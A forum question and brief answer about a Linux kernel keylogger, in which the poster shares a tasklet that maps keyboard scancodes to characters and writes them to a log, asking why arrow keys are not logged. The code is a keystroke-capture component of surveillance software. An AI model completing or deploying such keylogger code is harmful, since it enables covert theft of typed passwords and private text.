Why don't some keys in keylogger work?

Question

linux

Hello! Thank you for your answers not the previous questions, they helped a lot.
And now the next question from a young and inexperienced))
There is a keylogger, during which some keys are not displayed, that is, the file log shows that it works, but, let's say, when you press the up, down arrow, etc., there is no reaction . The code for processing the scan code is shown below.
Thanks in advance.

struct logger_data{
    unsigned char scancode;
} ld;

void tasklet_logger(unsigned long data)
{
    static int shift = 0;
    
    char buf[32];
    memset(buf, 0, sizeof(buf));
    /* Convert scancode to readable key and log it. */
    switch(ld.scancode){
        default:
            return;

        case 1:
            strcpy(buf, "(ESC)"); break;

        case 2:
            strcpy(buf, (shift) ? "!" : "1"); break;

        case 3:
            strcpy(buf, (shift) ? "@" : "2"); break;

        case 4:
            strcpy(buf, (shift) ? "#" : "3"); break;
        
        case 5:
            strcpy(buf, (shift) ? "$" : "4"); break;

        case 6:
            strcpy(buf, (shift) ? "%" : "5"); break;

        case 7:
            strcpy(buf, (shift) ? "^" : "6"); break;

        case 8:
            strcpy(buf, (shift) ? "&" : "7"); break;

        case 9:
            strcpy(buf, (shift) ? "*" : "8"); break;

        case 10:
            strcpy(buf, (shift) ? "(" : "9"); break;

        case 11:
            strcpy(buf, (shift) ? ")" : "0"); break;

        case 12:
            strcpy(buf, (shift) ? "_" : "-"); break;

        case 13:
            strcpy(buf, (shift) ? "+" : "="); break;

        case 14:
            strcpy(buf, "(BACK)"); break;

        case 15:
            strcpy(buf, "(TAB)"); break;

        case 16:
            strcpy(buf, (shift) ? "Q" : "q"); break;

        case 17:
            strcpy(buf, (shift) ? "W" : "w"); break;

        case 18:
            strcpy(buf, (shift) ? "E" : "e"); break;

        case 19:
            strcpy(buf, (shift) ? "R" : "r"); break;

        case 20:
            strcpy(buf, (shift) ? "T" : "t"); break;

        case 21:
            strcpy(buf, (shift) ? "Y" : "y"); break;

        case 22:
            strcpy(buf, (shift) ? "U" : "u"); break;

        case 23:
            strcpy(buf, (shift) ? "I" : "i"); break;

        case 24:
            strcpy(buf, (shift) ? "O" : "o"); break;

        case 25:
            strcpy(buf, (shift) ? "P" : "p"); break;

        case 26:
            strcpy(buf, (shift) ? "{" : "["); break;

        case 27:
            strcpy(buf, (shift) ? "}" : "]"); break;

        case 28:
            strcpy(buf, "(ENTER)"); break;

        case 29:
            strcpy(buf, "(CTRL)"); break;

        case 30:
            strcpy(buf, (shift) ? "A" : "a"); break;

        case 31:
            strcpy(buf, (shift) ? "S" : "s"); break;

        case 32:
            strcpy(buf, (shift) ? "D" : "d"); break;

        case 33:
            strcpy(buf, (shift) ? "F" : "f"); break;
    
        case 34:
            strcpy(buf, (shift) ? "G" : "g"); break;

        case 35:
            strcpy(buf, (shift) ? "H" : "h"); break;

        case 36:
            strcpy(buf, (shift) ? "J" : "j"); break;

        case 37:
            strcpy(buf, (shift) ? "K" : "k"); break;

        case 38:
            strcpy(buf, (shift) ? "L" : "l"); break;
    
        case 39:
            strcpy(buf, (shift) ? ":" : ";"); break;

        case 40:
            strcpy(buf, (shift) ? "\"" : "'"); break;

        case 41:
            strcpy(buf, (shift) ? "~" : "`"); break;

        case 42:
        case 54:
            shift = 1; break;

        case 170:
        case 182:
            shift = 0; break;

        case 44:
            strcpy(buf, (shift) ? "Z" : "z"); break;
        
        case 45:
            strcpy(buf, (shift) ? "X" : "x"); break;

        case 46:
            strcpy(buf, (shift) ? "C" : "c"); break;

        case 47:
            strcpy(buf, (shift) ? "V" : "v"); break;
        
        case 48:
            strcpy(buf, (shift) ? "B" : "b"); break;

        case 49:
            strcpy(buf, (shift) ? "N" : "n"); break;

        case 50:
            strcpy(buf, (shift) ? "M" : "m"); break;

        case 51:
            strcpy(buf, (shift) ? "<" : ","); break;

        case 52:
            strcpy(buf, (shift) ? ">" : "."); break;
    
        case 53:
            strcpy(buf, (shift) ? "?" : "/"); break;

        case 56:
            strcpy(buf, "(R-ALT"); break;
    
        /* Space */
        case 55:
        case 57:
        case 58:
        case 59:
        case 60:
        case 61:
        case 62:
        case 63:
        case 64:
        case 65:
        case 66:
        case 67:
        case 68:
        case 70:
        case 71:
            strcpy(buf, " "); break;
  case 72:
      strcpy(buf, "(UP)"); break;
  case 75:
      strcpy(buf, "(LEFT)"); break;	
  case 77:
      strcpy(buf, "(RIGHT)"); break;
  case 80:
      strcpy(buf, "(DOWN)"); break;	
        case 83:
            strcpy(buf, "(DEL)"); break;
    }
    log_write(log_fp, buf, sizeof(buf));
}

Answer 1

no reaction occurs

hint: look for the lost in your default section

switch(ld.scancode){
        default:
            return;